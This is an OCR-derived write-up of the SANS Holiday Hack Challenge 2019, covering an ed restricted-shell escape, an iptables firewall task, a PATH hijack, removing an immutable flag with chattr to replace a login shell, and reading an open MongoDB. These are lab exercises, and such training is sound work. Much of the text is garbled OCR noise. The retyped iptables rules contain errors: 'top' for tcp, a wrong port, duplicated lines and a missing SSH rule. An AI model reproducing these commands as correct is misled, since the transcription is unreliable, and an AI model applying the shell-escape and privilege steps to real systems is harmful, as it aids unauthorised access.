

Contents

h

START HERE
Report Layout
Achievement - Escape Ed
Achievement - Smart Braces
Achievement - Linux Path
Achievement - Nyanshell
Achievement - Mongo Pilfer
Achievement - Xmas Cheer Laser
Achievement - Frosty Keypad
Achievement - Graylog
Achievement - Holiday Hack Trail
Achievement - Teleportation via Steam Tunnels
Achievement - Zeek JSON Analysis
Objective 0 – Talk to Santa in the Quad
Objective 1 – Find the Turtle Doves
Objective 2 – Unredact Threatening Document
Objective 3 – Windows Log Analysis: Evaluate Attack Outcome
Objective 4 – Windows Log Analysis: Determine Attacker Technique
Objective 5 – Network Log Analysis: Determine Compromised System
Objective 6 – Splunk
Objective 7 – Get Access to The Steam Tunnels
Objective 8 – Bypassing the Frido Sleigh CAPTEHA
Objective 9 – Retrieve Scraps of Paper from Server
Objective 10 – Recover Cleartext Document
Objective 11 – Open the Sleigh Shop Door
Objective 12 – Filter Out Poisoned Sources of Weather Data
End Game
Location - Train Station
Location - The Quad
Location - Student Union: Main
Location - Hermey Hall: Main
Location - Hermey Hall: NetWars
Location - Hermey Hall: Speaker Unpreparedness Room143
Location - Hermey Hall: Track 1
Location - Hermey Hall: Track 2
Location - Hermey Hall: Track 3

Location - Hermey Hall: Track 4	145
Location - Hermey Hall: Track 5	
Location - Hermey Hall: Track 6	
Location - Hermey Hall: Track 7	
Location - Hermey Hall: The Laboratory	
Location - Dorm: Main	
Location - Dorm: Minty's Dorm Room	
Location - Dorm: Minty's Closet & Secret Passage (THISISIT)	
Location - Steam Tunnels	
Location - Student Union: Sleigh Workshop	
Location - The Bell Tower	
Characters - Train Station - Santa	
Characters - Train Station - Bushy Evergreen	
Characters - The Quad - Santa (Umbrella)	
Characters - The Quad - Tangle Coalbox	
Characters - Hermey Hall: Main - SugarPlum Mary	
Characters - Hermey Hall: NetWars - Holly Evergreen	
Characters - Hermey Hall: Speaker UNpreparedness Room - Alabaster Snowball	
Characters - Hermey Hall: The Laboratory - Professor (Carl) Banas	
Characters - Hermey Hall: The Laboratory - Sparkle Redberry	
Characters - Student Union - Michael and Jane - Two Turtle Doves	
Characters - Student Union: Main - Kent Tinseltooth	
Characters - Student Union: Main - Shinny Upatree	
Characters - Dorm: Main - Pepper Minstix	
Characters - Dorm: Main - Minty Candycane	
Characters - Dorm: Minty Candycane Dorm Room - Krampus (Hollyfeld)	
Characters - Steam Tunnels - Krampus (Hollyfeld)	
Characters - Student Union: Sleigh Shop - Wunorse Openslae	
Characters - Student Union: Sleigh Shop - The Tooth Fairy	
Characters - Student Union: Sleigh Shop - Krampus (Hollyfeld)	
Characters - The Bell Tower - Santa	
Characters - The Bell Tower - Krampus (Hollyfeld)	
Characters - The Bell Tower - The Tooth Fairy (Orange Jumpsuit)	
Characters - The Bell Tower - Tooth	
Interactive Objects - Student Union - Google Booth	
Interactive Objects - Student Union - SANS.edu Booth	
Interactive Objects - Student Union - Splunk Booth	
Interactive Objects - Student Union - SWAG Booth	165
Interactive Objects - Hermey Hall - Speaker Agenda Display	165

Narrative 1 of 10	
Narrative 2 of 10	
Narrative 3 of 10	
Narrative 4 of 10	
Narrative 5 of 10	
Narrative 6 of 10	
Narrative 7 of 10	
Narrative 8 of 10	
Narrative 9 of 10	
Narrative 10 of 10	
Code - Objective 8 - capteha_api.py	
Code - Objective 9 - validator-test.py	
Code - Objective 9 - mitmcustom.py	
Code - Objective 10 - get_epoch_time.py	
Code - Objective 10 - elfscrow_crack.py	
Code - Achievement - Holiday Hack Trail - hht.py	
Game Servers	
Thank You Counter Hack Challenges and SANS	

Introduction

START HERE

We begin our journey here https://holidayhackchallenge.com/2019/, gain our admission ticket...

ADMIT ONE This ticket entitles its bearer to admittance for one to KringleCon 2: Turtle Doves

Location: Elf University 17 Christmas Tree Lane North Pole

and after a few brief instructions we're taken to https://2019.kringlecon.com/invite

Ver the past four years during the SANS #HolidayHack challenge, vicious holiday super villains have conspired to destroy the entire holiday season and the North Pole itself. Santa has just declared, "Enough is enough! It's time to bring security professionals, hobbyists, and hackers from around the world in a unique meeting of the minds this December, to help improve the state of cyber security world-wide!"

And that's why Santa asked SANS to open up registration for a very special event he's hosting for the #HolidayHack challenge this year. This December, you are cordially invited to...

KringleCon 2: Turtle Doves!

Hosted by Santa and his team at the North Pole in mid-December 2019, security-minded people and hackers from around the world will come together virtually to help improve the state of cyber security world-wide, protecting Christmas and all other holidays from dastardly cyber attackers.

Registration is completely FREE, but space is limited for this very special event!

Click here to register for KringleCon! -or-Sign in to your account

and then magically transported to the North Pole train station and the start our adventure...



North Pole Train Station

Report Layout

A quick aside on how the report is organized:

- 1. Achievements
- 2. Objectives
- 3. Locations
- 4. Characters
- 5. Other Interactive Objects
- 6. Narrative
- 7. Code

Achievements:

This section contains the solution write-up for the challenges found throughout ELFU that had a Terminal icon Computer icon but not necessarily part of the main Objectives

Objectives:

This section contains the solution write-up for Objectives 0 to 12 as found in the Objective section of the player's badge

Locations:

This section contains detailed descriptions of each location area/room including maps, character locations and artifacts

Characters:

This section contains all the character pictures, character dialog, and what each character introduces or unlocks

Other Interactive Objects:

This section contains any other interactive objects not otherwise listed, their dialog and any artifacts they may provide

Narrative:

This section contains each of the narrative components and where or how they were obtained.

Code:

If an Achievement or Objective had a code component to the solution, this section contains the source code for those. All code and maps will also be uploaded to this GitHub repo after the submission deadline on January 13, 2020: https://github.com/deckerXL/SANSHolidayHackChallenge2019



Achievement Challenges

Achievement - Escape Ed

This is the very first challenge you encounter when arriving at ElfU and it's located in the Train Station. Bushy Evergreen provides an introduction summary to his dilemma and asks for your help:



Hi, I'm Bushy Evergreen. Welcome to Elf U! I'm glad you're here. I'm the target of a terrible trick. Pepper Minstix is at it again, sticking me in a text editor. Pepper is forcing me to learn ed. Even the hint is ugly. Why can't I just use Gedit? Please help me just quit the grinchy thing.

You can begin the challenge by clicking on the "Escaped Ed" terminal icon.

.;ooooooooool;,,,,,,,,:looooooooool:
.:00000000000c;,,,,,,,;:00000000000000000
.':::::::::::::::::::::::::::::::::::::
:00000000000000l:'''''.:loo00000000lc:':00000:
.:000000000000c;',,,,,,:000000000000lccoc,,,;00000:
.coooooooooooo;,'''''',:oooooooooooolcloooc,,,;ooooo,
coooooooooooooo,,,,,,,,,,,,,,,,,,,,,,,
<pre>coooooooooooooooooooooooooooooooooooo</pre>
coooooooooooooo,,,,,,,,,,,,,,,,,,,,,,,
coooooooooooooo,,,,,,,,,;oooooooooooooloooooc.
cooocoocoocooco,,,,,,,,,;cocoocoocoocoolocco:.
coooooooooooooo,,,,,,,,,;oooooooooooooloo;
: 111111111111, ''''''; 11111111111111, '

Oh, many UNIX tools grow old, but this one's showing gray. That Pepper LOLs and rolls her eyes, sends mocking looks my way. I need to exit, run - get out! - and celebrate the yule. Your challenge is to help this elf escape this blasted tool.

Bushy Evergreen

Exit ed.

1100

You are in a restricted shell created by gnu ed. These links are helpful to learn more: https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells https://www.gnu.org/software/ed/manual/ed_manual.html

Can you execute shell commands by prefixing your command with an exclamation point like this:

?								
!/bin/ls -a	al							
total 24								
drwxr-xr-x	1	elf	elf	4096	Nov	18	19:55	
drwxr-xr-x	1	root	root	4096	Nov	18	19:55	
-rw-rr	1	elf	elf	220	Apr	18	2019	.bash_logout
-rw-rr	1	elf	elf	3593	Nov	21	16:22	.bashrc
-rw-rr	1	elf	elf	1100	Nov	18	19:53	.message
-rw-rr	1	elf	elf	807	Apr	18	2019	.profile
1								

ith this technique, you can do a little enumeration to get to	know a hit more about the system you're on:
in this technique, you can do a nitile chameration to get to	whow a bit more about the system you're on.
d mo/alf	
NAME=BOITIGES982T3 L=1 _/home/elf	!/bin/cat .bashrc
in/ed ×term BFF TD=1hd53401-3r92-414r-8660-9d5f730769ba	# enable programmable completion features (you don't need to enable
=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 0LOR5=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33:01:cd=40;33:01: 0.21:01:00:00:00:01:01:00:00:00:00:00:00:00	<pre># this, if it's already enabled in /etc/bash.bashrc and /etc/profile # sources /etc/bash.bashrc).</pre>
hgzenijsi, arcelijsi, arjeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi 191,31: tlzenijsi, arcelijsi, arjeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi, tazeljsi, t	<pre>if ! shopt -oq posix; then if [-f /usr/share/bash-completion/bash completion]: then</pre>
[z=0];3]:*.[rz=0];3]:*.[z=0];3]:*.[z=0];3]:*.z=0];3]:*.z=0];3]:*.zs=0];3]:*.[zs=1];3]:*.[zs=1];3]:*.[zz=0];3]:*.[zs=0];3]:*.	. /usr/share/bash-completion/bash completion elif [-f /etc/bash completion]: then
:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*. 1;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pbm=01;35:*.pom=01:35:*.pom=00:35:*.pom=00:35:*.pom=00:35:*.pom=00:35:*.pom=00:35:*.pom=00:35	. /etc/bash_completion
svg=01;35:*.svg=01;35:*.mng=01;35:*.pcz=01;35:*.mov=01;35:*.mpg=01;35:*.mpg=01;35:*. 01;35:*.mky=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.mp4=01;35:*.mp4=01;35:*.mp4=01;35:*.mp4=01;35:*.ogm=01;35:*.mp4=01;3	fi cat /home/elf/ message
or .qt=01;35:*.inu=01;	ed .message //
0;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00; .wav=00;36:*.ogg=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36: /home/elf	
ou type a capital Q and press enter, this will exit the ed ed	itor and run /usr/local/bin/successfulescape
and an Date	
.;ccccccccccccl;,,,,,,;lccccccccccccccll:	
.';;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;	
;ococcccccccccl;'''''';lccccccccccclc;',,;cccccc: .:ccccccccccccc;',,,,,,;cccccccccccccc,,;;cccccc:	
aaaaaaaaaaaa;,''''''',:aaaaaaaaaaaaaalaaaaa,,;;aaaaa, aaaaaaaaaa	
accaccaccacca,,,,,,,,,,,,,,,,,,,,,,,,,	
000000000000,,,,,,,,,;0000000000000000	
11111111111,'''''';111111111111c,	
many UNIX tools grow old, but this one's showing grav.	
: Fepper LOLs and rolls her eyes, sends mocking looks my way. eed to exit, run - get out! - and celebrate the yule.	
challenge is to help this elf escape this blasted tool.	
ny Evergreen	
ing, please wait	
did it! Congratulations!	LODTH POLI
c556eelaflfd:~\$ uname -a x c556eelaflfd 4.19.0-6-cloud-amd64 ‡1 SMP Debian 4.19.67-2+deb10u2 (2019	-11-11) x86_64 GN
nux 5556eelaflfd:~\$ ■	
You have completed the Escape	Ed
challenge!	

Achievement - Smart Braces

This challenge is found in the Student Union and interacting with Kent Tinseltooth will introduce this challenge



I'll bet you can keep other students out of my head, so to speak. It might just take a bit of Iptables work.

OK, this is starting to freak me out!

Oh sorry, I'm Kent Tinseltooth. My Smart Braces are acting up. Do... Do you ever get the feeling you can hear things? Like, voices? I know, I sound crazy, but ever since I got these ... Oh! Do you think you could take a look at my Smart Braces terminal? I'll bet you can keep other students out of my head, so to speak. It might just take a bit of Iptables work.

You can begin the challenge by clicking on the "Smart Braces" terminal icon.





ttps://www.youtube.com/watch?v=YyZ4gGCCqss&t=20

Hilarious! Following the instructions from IOTteethBraces.md, we need to set some iptables rules to help Kent:

r@bl38ed506e3f:~\$ cat /home/elfuuser/IOTteethBraces Research Labs - Smart Braces .ightweight Linux Device for Teeth Braces agined and Created by ElfU Student Kent TinselTooth

s device is embedded into one's teeth braces for easy management and monitoring of dent status. It uses FTP and HTTP for management and monitoring purposes but also has SSH fo emote access. Please refer to the management documentation for this purpose.

Proper Firewall configuration:

The firewall used for this system is `iptables`. The following is an example of how to set a default policy with using `iptables`:

sudo iptables -P FORWARD DROP

he following is an example of allowing traffic from a specific IP and to a specific port:

sudo iptables -A INPUT -p tcp --dport 25 -s 172.18.5.4 -j ACCEPT

proper configuration for the Smart Braces should be exactly:

Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and t OUTPUT chains. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local server (on port 22). Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface. 'uuser@b138ed506e3f:-\$]

Here are the iptables rules that need to be entered:

```
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP
sudo iptables -A INPUT -m state --state ESTABLISHED, RELATED -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED, RELATED -j ACCEPT
sudo iptables -A INPUT -m state --state ESTABLISHED, RELATED -j ACCEPT
sudo iptables -A INPUT -m state --state ESTABLISHED, RELATED -j ACCEPT
sudo iptables -A INPUT -m top --dport 21 -j ACCEPT
sudo iptables -A INPUT -p top --dport 20 -j ACCEPT
sudo iptables -A OUTPUT -p top --dport 80 -j ACCEPT
sudo iptables -A INPUT -i lo -j ACCEPT
```

Entering them results in completing the challenge:

The following is an example of allowing traffic from a specific IP and to a specific port:	
· · · ·	
sudo iptables -A INPUT -p tcpdport 25 -s 172.18.5.4 -i ACCEPT	
A proper configuration for the Smart Braces should be exactly:	
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.	
2. Create a rule to ACCEPT all connections that are ESTABLISHED, RELATED on the INPUT and the OUTPUT chains.	
ne corpor chains. 2 create a rule to ACCEPT only remote source TP address 172 19 0 225 to access the local	
Sch server (on port 22).	
4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.	
5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.	
6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.	
elfuuser@1bc167163b6b:~\$ sudo iptables -P INPUT DROP	
elfuuser@lbc167163b6b:~\$ sudo iptables -P FORWARD DROP	
eltuuser@lbc16/1636bb:~\$ sudo lptables -P OUIPUI DROP	
CEDT - STALE ESTABLISHED, RELATED - J AC	
ceri elfuuser@lbc167163b6b:~\$ sudo iptables -A OUTPUT -m statestate FSTARLISHED RELATED -i A	
CCEPT	
elfuuser@1bc167163b6b:~\$ sudo iptables -A INPUT -s 172.19.0.225/32 -p tcpdport 22 -j AC	
CEPT	
elfuuser@1bc167163b6b:~\$ sudo iptables -A INPUT -p tcpdport 21 -j ACCEPT	
elfuuser@lbc167163b6b:~\$ sudo iptables -A INPUT -p tcpdport 80 -j ACCEPT	
eltuuser@lbc16/1636b6b:~\$ sudo 1ptables -A OUTPUT -p tcpdport 80 -j ACCEPT	
etiduser@ibc16/1636b6.ct Kent TipselTeath Great you bardened my TAT Smart Braces fireval	
The set of	

/usr/bin/inits: line 10: 372 Killed

su elfuuser

You have completed the Smart Braces challenge!

Achievement - Linux Path

This challenge is found in Hermey Hall: Main area and interacting with SugarPlum Mary will introduce this challenge:



challenge!

Oh me oh my - I need some help!

I need to review some files in my Linux terminal, but I can't get a file listing. I know the command is ls, but it's really acting up.

Do you think you could help me out? As you work on this, think about these questions:

1. Do the words in green have special significance?

2. How can I find a file with a specific name?

3. What happens if there are multiple executables with the same name in my \$PATH?

You can begin the challenge by clicking on the "Linux Path" terminal icon.



Get a listing (ls) of your current directory. elf@f3a956389e7b:~\$ ls This isn't the ls you're looking for elf@f3a956389e7b:~\$ which ls usr/local/bin/ls elf@f3a956389e7b:~\$ find / -name ls 2> /dev/null /usr/local/bin/ls /bin/ls elf@f3a956389e7b:~\$ echo \$PATH /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games elf@f3a956389e7b:~\$ /bin/ls rejected-elfu-logos.txt Loading, please wait..... You did it! Congratulations!

elf@f3a956389e7b:~\$

This challenge can be solved by realizing that a "bad" 1s command is found first in your \$PATH order. See the above screenshot for the specific solution steps. Also, some other fun stuff on this system:



Page 11 of 184

Achievement - Nyanshell

This challenge is found in Hermey Hall: Speaker UNpreparedness Room and Alabaster Snowball will introduce this challenge:



My name's Alabaster Snowball and I could use a hand. I'm trying to log into this terminal, but something's gone horribly wrong. Every time I try to log in, I get accosted with ... a hatted cat and a toaster pastry? I thought my shell was Bash, not flying feline. When I try to overwrite it with something else, I get permission errors. Have you heard any chatter about immutable files? And what is sudo -I telling me?

You can begin the challenge by clicking on the "Nyanshell" terminal icon.

If you attempt to switch user (su) to alabaster_snowball, you get nyaned!



shell's stuffed inside one atcha' think about that?

I'll miss that nyancat Run commands, win, and done!

Log in as the user alabaster_snowball with a password of Password2, and land in a Bash prompt

rget Credentials: ername: alabaster_snowball ssword: Pasaword?

word: Password2 5cec2202d9df:~\$ su alabaster_snowball word:



This challenge can be solved by realizing that alabaster_snowball's shell has been replaced with /bin/nsh and the file has the immutable flag set so it can't be overwritten. You use chattr with sudo to remove this flag and overwrite /bin/nsh with /bin/bash.



Some enumeration on this host just for fun:

alabaster_snowball@icuszable155	. 9 IS UI			
total 5816				
drwxr-xr-x 1 alabaster_snowball	alabaster_snowball	4096 Dec 11	17:40 .	
drwxr-xr-x 1 root	root	4096 Dec 11	17:40	
-rw-rr 1 alabaster_snowball	alabaster_snowball	220 Apr 18	2019 .bash	1_logout
-rw-rr 1 alabaster_snowball	alabaster_snowball	3615 Jan 11	01:31 .bash	nrc
-rw-rr 1 alabaster snowball	alabaster_snowball	807 Apr 18	2019 .proi	file
-rwxr-xr-x 1 root	root	5924704 Nov 18	20:10 succe	
alabaster_snowball@1cd52d81ef5b:	~\$ id			
uid=1001(alabaster_snowball) gio	d=1001(alabaster_sno	owball) groups=	1001 (alabast	cer_snowball)
alabaster snowball@1cd52d81ef5b:	~\$ uname -a			
Linux 1cd52d81ef5b 4.19.0-6-clow	ad-amd64 #1 SMP Debi	ian 4.19.67-2+d	eb10u2 (2019	9-11-11) x86 64 (
U/Linux				
alabaster_snowball@1cd52d81ef5b;	~\$			

labaster_s	snow	pall@l	Lod52d	181ef:	\$/:dc	şΤε	3 -al	
otal 84								
lrwxr-xr-x	1	root	root	4096	Jan	11	01:31	
lrwxr-xr-x	1	root	root	4096	Jan	11	01:31	
rwxr-xr-x	1	root	root		Jan	11	01:31	
lrwxr-xr-x	1	root	root	4096	Dec	13	19:43	bin
lrwxr-xr-x	2	root	root	4096	Aug	30	12:31	boot
lrwxr-xr-x	5	root	root	360	Jan	11	01:31	dev
rwxr-xr-x	1	root	root	212	Nov	18	19:53	entrypoint.sh
lrwxr-xr-x	1	root	root	4096	Jan	11	01:31	etc
lrwxr-xr-x	1	root	root	4096	Dec	11	17:40	home
lrwxr-xr-x	1	root	root	4096	Nov	18	20:12	lib
lrwxr-xr-x	2	root	root	4096	Oct	14	00:00	lib64
lrwxr-xr-x	2	root	root	4096	Oct	14	00:00	media
lrwxr-xr-x	2	root	root	4096	Oct	14	00:00	mnt
lrwxr-xr-x	2	root	root	4096	Oct	14	00:00	opt
lr-xr-xr-x	209	root	root		Jan	11	01:31	proc
lrwx	2	root	root	4096	Oct	14	00:00	root
lrwxr-xr-x	3	root	root	4096	Oct	14	00:00	run
lrwxr-xr-x	2	root	root	4096	Oct	14	00:00	sbin
lrwxr-xr-x	2	root	root	4096	Oct	14	00:00	srv
lr-xr-xr-x	13	root	root		Jan	8	14:10	sys
lrwxrwxrwt	1	root	root	4096	Jan	11	01:31	tmp
lrwxr-xr-x	1	root	root	4096	Oct	14	00:00	usr
lrwxr-xr-x	1	root	root	4096	Oct	14	00:00	var
labaster_s	nowl	ball01	lcd52d	181ef	5b:/\$	ca	at enti	rypoint.sh
l/bin/bash	1							

chmod +x /bin/nsh chattr +i /bin/nsh

echo "export RESOURCE_ID=\$RESOURCE_ID" >> /home/alabaster_snowball/.bashrc echo "/home/alabaster_snowball/success" >> /home/alabaster_snowball/.bashrc

su - elf alabaster_snowball@1cd52d81ef5b:/\$

You have completed the Nyanshell challenge!

Achievement - Mongo Pilfer

This challenge is found in Hermey Hall: NetWars Room and interacting with Holly Evergreen will introduce this challenge:



My teacher has been locked out of the quiz database and can't remember the right solution. Without access to the answer, none of our quizzes will get graded. Can we help get back in to find that solution? I tried lsof -i, but that tool doesn't seem to be installed. I think there's a tool like ps that'll help too. What are the flags I need? Either way, you'll need to know a teensy bit of Mongo once you're in. Pretty please find us the solution to the quiz!

You can begin the challenge by clicking on the "Mongo Pilfer" terminal icon.



elf@349779c89d7d:~\$

The first step is to find the running process with ps and also check for any netstat listeners for mongod. This will show that mongod is listening on port 12121/tcp which we'll need this information to connect to it using the mongo command line client.

ind the solution hid	lden in the MongoDB	on this system.			
lf@fd4a0a552755:~\$ p S mongo 9 quietforkpor S elf 49	os -elf grep mong 1 3 80 θ - 2 t 12121bind_ip 1 1 0 80 θ - 1	53649 - 04:2 127.0.0.1logpa 2866 - 04:2	l? 0 ath=/tmp/mon 2 pts/0 0	0:00:01 /usr <mark>go</mark> .log 0:00:00 grep	/bin/mongod
o mongo lf@fd4a0a552755:~\$ r No info could be rea nix 2 [ACC]	etstat -nap grep d for "-p": geteuid STREAM LIS	mongo d()=1001 but you TENING 75087	should be r 765 -	oot.)	/tmp/mongo
b-12121.sock lf@fd4a0a552755:~\$ r No info could be rea cp θ θ 1	etstat -nap grep d for "-p": geteuid 27.0.0.1: <mark>12121</mark>	12121 d()=1001 but you 0.0.0.0:*	should be r	oot.) LISTEN	
cp 0 0 1	27.0.0.1:57192	127.0.0.1:1		TIME_WAIT	
nix 2 [ACC]	STREAM LIS	TENING 75087	765 -		/tmp/mongo
lf@fd4a0a552755:~\$ m iongoDB shell versior onnecting to: mongoo iongoDB server versio elcome to the Mongoo or interactive help, or more comprehensiv http://docs.m	nongoport 12121 N v3.6.3 lb://127.0.0.1:12122 nr: 3.6.3 VB shell. type "help". re documentation, se nongodb.org/	L/ ee			
uestions? Try the su http://groups	ipport group .google.com/group/r	mongodb-user			
019-12-25T04:21:26.2 019-12-25T04:21:26.2 nabled for the data	231+0000 I CONTROL 231+0000 I CONTROL	[initandlisten] [initandlisten]	** WARNING:	Access cont	rol is not
019-12-25T04:21:26.2 o data and configura	131+0000 I CONTROL tion is unrestricte	[initandlisten] ed.		Read and wr	ite access
019-12-25T04:21:26.2 019-12-25T04:21:26.2 019-12-25T04:21:26.2	31+0000 I CONTROL 31+0000 I CONTROL 31+0000 I CONTROL	[initandlisten] [initandlisten] [initandlisten]	** WARNING:	/sys/kernel	/mm/transpa
ent_hugepäge/enabled 019-12-25T04:21:26.2 'never'	115 'always'. 31+0000 I CONTROL	[initandlisten]	** W	e suggest se	tting it to
019-12-25T04:21:26.2	31+0000 I CONTROL	[initandlisten]			



Once we connect to the database with the mongo command-line client, we can show dbs. The database elfu looks interesting, so we can make that our current context with use elfu. Then we can list collections in that database using show collections. I see what Holly Evergreen was talking about in the banner - several fish/fishing related collections are listed. However, the solutions collection looks like our goal and we can search that collection using db.solution.find({}) command.

Jb-12121, sock							
lf@fd4a0a552755;~\$ mongoport 12121							
MongoDB shell version v3.6.3							
connecting to: mongodb://127.0.0.1:12121/							
MongoDB server version: 3.6.3							
Velcome to the MongoDB shell.							
or interactive help, type "help".							
For more comprehensive documentation, see							
http://docs.mongodb.org/							
Duestions? Try the support group							
http://aroups.google.com/aroup/mongodb-user							
Server has startup warnings:							
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten]							
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten] ** WARNING: Access control is not							
enabled for the database.							
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten] ** Read and write access							
to data and configuration is unrestricted.							
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten]							
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten]							
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transpa							
rent hugepage/enabled is 'always'.							
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten] ** We suggest setting it to							
'never'							
2019-12-25T04:21:26.231+0000 I CONTROL [initandlisten]							
> show dbs							
admin 0.000GB							
elfu 0.000GB							
Local 0.000GB							
test 0.000GB							
> use elfu							
switched to db elfu							
> show collections							
pait							
chum							
line							
netadata							
solution							
system.js							
tackle							
tincan							
• db.solution.find({})							
displaying with the command between the stars: ** db.loadServerScripts()							
anspraysolution(); **** }							

However, before we get the final solution, I wonder what else is in here...

> use test
switched to db test
> show collections
redherring
> db.redherring.find({})
{ "_id" : "This is not the database you're looking for."]
> use elfu
switched to db elfu
> show collections
bait
chum
line
metadata
solution
system.js
tackle
tincan
> db.bait.find({})
{ "_id" : "Gait" }
> db.chum.find({})
{ "_id" : "Yum!" }
> db.tackle.find({})
{ "_id" : "Mackerel?" }
> db.tincan.find({})
{ "_id" : "SARDINES" }

Some more interesting stuff	
<pre>> db.metadata.find({}) { "id" : ObjectId("5dde701c31112afc5933e0c3"), "index" : 1, "value" : " .\n / _\n</pre>	
// m /_m // b // m //	
/ _n /n /.**.in o.'.in /.***.in o.'.in //***in o'.o.'.on /.o .'.T.o.in .*.'.o.'.*.'.in []in //***in o'.o.'.o.in .'.* (*id": Objectid'5dde701cd335413094959437"), "index" : 8, "value" : " .in / _n /n /n /.o'.in .o.'.in .'.***.in o'.*.*o.in .'.* .'.T.o.in .o.'.*o.'.in / (*id": Objectid'5dde701cdce5be51226002ad"), "index" : 9, "value" : " .in (*id": Objectid'5dde701cdce5be51226002ad"), "index" : 9, "value" : " .in (*id": Objectid'5dde701cdce5be51226002ad"), "index" : 9, "value" : " .in	
, '.'.*.\n, '.o.'.o.'n [\n _/" } [" id" : ObjectId("5dde70107b.sceb325c1a50"), "index" : " ,.'.o' n _/	
<pre>["_id": ObjectId("5ide?Old0e45226a9f6476"), "index": 12, "value": "</pre>	
<pre>o.'.'.*.\n .o.'.o.'.o.'.o.'.n []\n/") [("id#': objectid['65192e143a8o55c35bca5ae1"), "index': 0, "value": "#####hhc:(\"resourceId \":_\"9fdd530-f0e6-4f5d=8023-7280547f4088\", \"hash\": \"f65496dd04c5aaef4346ffd62d41a53f348 893bd64a3d9d5563d1880s3r4%)######) 83db46a3d9d5563d1880s3r4%)######) 83db46a3d9d5563d01tion", "value": ("code": "function () (db.metadata.find().sort((in dex: 1)).forEach(function(v) (print(\"\\n\".repeat(100)); print(v.value); print(\"\\n\\ Co </pre>	

Well ok, we took a look around. Now let's enter the final command: db.loadServerScripts(); displaySolution();

> db.solution.find({}) { "_id" : "You did good! Just run the command between the stars: ** db.loadServerScripts()
;displaySolution(); **" }
> db.loadServerScripts();displaySolution(); And.. /.'0' . 0. .'0' 0'.0.'.* .0.'.'.* .0.'.0. . 0. ' Congratulations!! You have completed the Mongo Pilfer challenge!

Achievement - Xmas Cheer Laser

This challenge is found in Hermey Hall: Laboratory and interacting with Sparkle Redberry will introduce this challenge.



I'm Sparkle Redberry and Imma chargin' my laser! Problem is: the settings are off. Do you know any PowerShell? It'd be GREAT if you could hop in and recalibrate this thing. It spreads holiday cheer across the Earth when it's working!

This was a fun one! You can begin the challenge by clicking on the "Xmas Cheer Laser" terminal icon.



https://www.youtube.com/watch?v=0ds0wYpc1eM&t=28

The first thing you notice is **you're locked into a PowerShell prompt**, so time to brush up on PowerShell. Let's take a look at the API:



(Invoke-WebRequest -Uri http://localhost:1225/).RawContent

With the API we can set the proper settings if we know what values to use. To solve this challenge the laser must be set back to the right settings and we need to find the correct:

- 1. angle value
- 2. refraction value
- 3. temperature value
- 4. gas value

Now let's take a look at /home/callingcard.txt:

```
PS /home/elf> Get-Content /home/callingcard.txt
What's become of your dear laser?
Fa la la la la, la la la la
Seems you can't now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist'ry?
Fa la la la la, la la la la
Nay! You'll ever suffer myst'ry!
Fa la la la la, la la la la
PS /home/elf>
```

Get-Content /home/callingcard.txt

Our first clue is here: "Could commands hold riddles in hist'ry?". We need to inspect the PowerShell command history.

PS /home/elf> Get-History

- Id CommandLine
- Get-Help -Name Get-Process Get-Help -Name Get-* Set-ExecutionPolicy Unrestricted

- 3 Set-ExecutionPolicy Unrestricted 4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 5 Get-Service | Export-CSV c:\service.csv 6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent 8 Get-EventLog -Log "Application" 9 I have many name=value variables that I share to applications system wide. At a com... 10 Get-Content /home/callingcard.txt

S /home/elf>

Get-History

We see "Id 6" holds the correct angle value we need of 65.5, so we have our first value!

(Invoke-WebRequest -Uri http://127.0.0.1:1225/api/angle?val=65.5).RawContent

The next clue is looking at "Id 9" in the Get-History list.



This sounds like a reference to environment variables, so let's look at those using PowerShell:





Page 20 of 184

We find a file at /home/elf/depths/produce/thhy5hll.txt that matches the md5 hash value. Let's view it.

PS /home/elf/depths> Get-Content /home/elf/depths/produce/thhy5hll.txt
temperature?val=-33.5

I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will give you the most strength but doing so will require Piping all the FullNa me's to Sort Length. PS /home/elf/depths> <mark>|</mark>

Get-Content /home/elf/depths/produce/thhy5hll.txt

We now have the correct temperature value of 33.5

